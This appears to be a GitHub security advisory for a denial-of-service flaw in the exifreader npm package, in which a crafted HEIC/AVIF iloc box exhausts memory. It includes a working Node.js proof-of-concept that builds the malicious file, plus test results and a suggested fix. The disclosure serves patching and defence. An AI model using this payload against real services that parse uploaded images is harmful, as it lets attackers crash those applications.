Skip to content

ExifReader: DoS via Crafted HEIC/AVIF iloc Box - Memory Exhaustion

High severity GitHub Reviewed Published Jul 18, 2026 in mattiasw/ExifReader • Updated Sep 17, 2026

Package

npm exifreader (npm)

Affected versions

<= 4.41.0

Patched versions

4.41.1

Description

Summary

ExifReader 4.41.0 is vulnerable to denial of service through a crafted HEIC or AVIF file with a malicious iloc box. When offsetSize, lengthSize, and baseOffsetSize are set to zero in the iloc header, the extent-parsing loop allocates an unbounded number of JavaScript objects - up to itemCount × extentCount (65535 × 65535 = 4.3 billion) - without advancing the buffer offset. A 652-byte file causes 400MB of heap growth; a 6KB file exhausts all system memory and crashes the Node.js process with a JavaScript heap out-of-memory error.

Affected version tested

  • npm package: exifreader
  • Version: 4.41.0
  • Affected formats: HEIC, AVIF (ISO-BMFF container)

Root cause

File: src/image-header-iso-bmff-iloc.js, lines 79–116, function getItems().

The iloc parser reads four size fields from the file (each a 4-bit nibble, valid values 0–15):

Field Controls
offsetSize Bytes per extent offset
lengthSize Bytes per extent length
baseOffsetSize Bytes per item base offset
indexSize Bytes per extent index

The code then enters a nested loop: for each item (up to 65535), and for each extent within that item (up to 65535), it reads variable-width fields and advances the buffer offset by the corresponding size:

for (let j = 0; j < item.extentCount; j++) {
    const extent = {};
    extent.extentIndex = getExtentIndex(dataView, version, offset, indexSize);
    offset += sizes.item.extent.extentIndex;       // 0 when indexSize=0
    extent.extentOffset = getVariableSizedValue(dataView, offset, offsetSize);
    offset += sizes.item.extent.extentOffset;       // 0 when offsetSize=0
    extent.extentLength = getVariableSizedValue(dataView, offset, lengthSize);
    offset += sizes.item.extent.extentLength;       // 0 when lengthSize=0
    item.extents.push(extent);                      // allocates unconditionally
}

When all four size fields are zero (a valid value per the ISO-BMFF specification, meaning "field not present"), the buffer offset never advances inside the inner loop. Yet every iteration still pushes a new extensible object onto item.extents. There is no iteration cap, no cumulative allocation budget, and no guard that skips the inner loop when all sizes are zero.

Reproduction

Save the following as poc_iloc_dos.js and run with Node.js against the bundled dist/exif-reader.js:

const fs = require('fs');
const ExifReader = require('../ExifReader-4.41.0/dist/exif-reader.js');

function u32be(n) {
    return [(n >>> 24) & 255, (n >>> 16) & 255, (n >>> 8) & 255, n & 255];
}
function u16be(n) {
    return [(n >>> 8) & 255, n & 255];
}
function str(s) {
    return Array.from(Buffer.from(s, 'ascii'));
}
function box(type, content) {
    return [...u32be(8 + content.length), ...str(type), ...content];
}

const ITEMS = 10000;
const EXTENTS = 65535;

const ftyp = box('ftyp', [
    ...str('heic'),
    ...u32be(0),
    ...str('mif1'),
    0, 0, 0, 0,
]);

const ilocPayload = [
    0, 0, 0, 0,
    0, 0,
    ...u16be(ITEMS),
];

for (let i = 0; i < ITEMS; i++) {
    ilocPayload.push(...u16be(i + 1));
    ilocPayload.push(...u16be(0));
    ilocPayload.push(...u16be(EXTENTS));
}

const iloc = box('iloc', ilocPayload);
const meta = box('meta', [0, 0, 0, 0, ...iloc]);
const data = Uint8Array.from([...ftyp, ...meta]);

fs.writeFileSync('/tmp/poc_iloc_dos.heic', data);

console.log(`${data.length} bytes | ${ITEMS} items x ${EXTENTS} extents | ~${((ITEMS * EXTENTS * 80) / (1024 ** 3)).toFixed(0)} GB expected`);

const start = Date.now();
const timeout = setTimeout(() => {
    console.log(`[DoS CONFIRMED] Hung after ${((Date.now() - start) / 1000).toFixed(1)}s`);
    process.exit(1);
}, 30000);

try {
    ExifReader.load(data.buffer);
    clearTimeout(timeout);
    console.log(`Parse completed in ${((Date.now() - start) / 1000).toFixed(1)}s`);
} catch (e) {
    clearTimeout(timeout);
    console.log(`Error: ${e.message}`);
}

Scaled test results

Run the above with different ITEMS values:

Items File size Extent objects Parse time Heap growth
1 58 bytes 65,535 0.03s +4 MB
5 82 bytes 327,675 0.17s +16 MB
100 652 bytes 6,553,500 1.74s +401 MB
256 1,588 bytes 16,776,960 ~8s OOM crash
10000 60,052 bytes 655,350,000 - OOM crash (4 GB+)

image

Expected behavior

A zero-size field is valid per the ISO-BMFF spec (it means the field is not present). The parser should either:

  1. Skip the inner extent loop when all extent field sizes are zero and no items need extent data, or
  2. Cap the number of extent objects allocated (e.g., a per-item or cumulative budget).

Security impact

This is a denial-of-service vulnerability. An unauthenticated attacker can craft a ~1 KB HEIC/AVIF image that, when parsed by ExifReader, causes a JavaScript heap out-of-memory crash, aborting the application process. Any web service, desktop application, or mobile app that processes user-uploaded HEIC/AVIF images through ExifReader is affected.

Note: The impact is established using ExifReader's existing distributed (dist/exif-reader.js) code.

Suggested fix

In src/image-header-iso-bmff-iloc.js, in the getItems() function, add a maximum per-item extent limit:

const MAX_EXTENTS_PER_ITEM = 10000;

for (let j = 0; j < item.extentCount; j++) {
    if (item.extents.length >= MAX_EXTENTS_PER_ITEM) {
        break;
    }
    // ... existing code ...
}

Alternatively (or additionally), skip the inner loop when all extent field sizes are zero:

if (sizes.item.extent.extentOffset === 0 && sizes.item.extent.extentLength === 0) {
    // Fields are absent per spec; nothing meaningful to read
    // Still advance offset if extentCount > 0 to maintain correctness
    continue;
}

References

@mattiasw mattiasw published to mattiasw/ExifReader Jul 18, 2026
Published to the GitHub Advisory Database Sep 17, 2026
Reviewed Sep 17, 2026
Last updated Sep 17, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(35th percentile)

Weaknesses

Memory Allocation with Excessive Size Value

The product allocates memory based on an untrusted, large size value, but it does not ensure that the size is within expected limits, allowing arbitrary amounts of memory to be allocated. Learn more on MITRE.

Loop with Unreachable Exit Condition ('Infinite Loop')

The product contains an iteration or loop with an exit condition that cannot be reached, i.e., an infinite loop. Learn more on MITRE.

CVE ID

CVE-2026-85715

GHSA ID

GHSA-pj96-35fp-cfcc

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.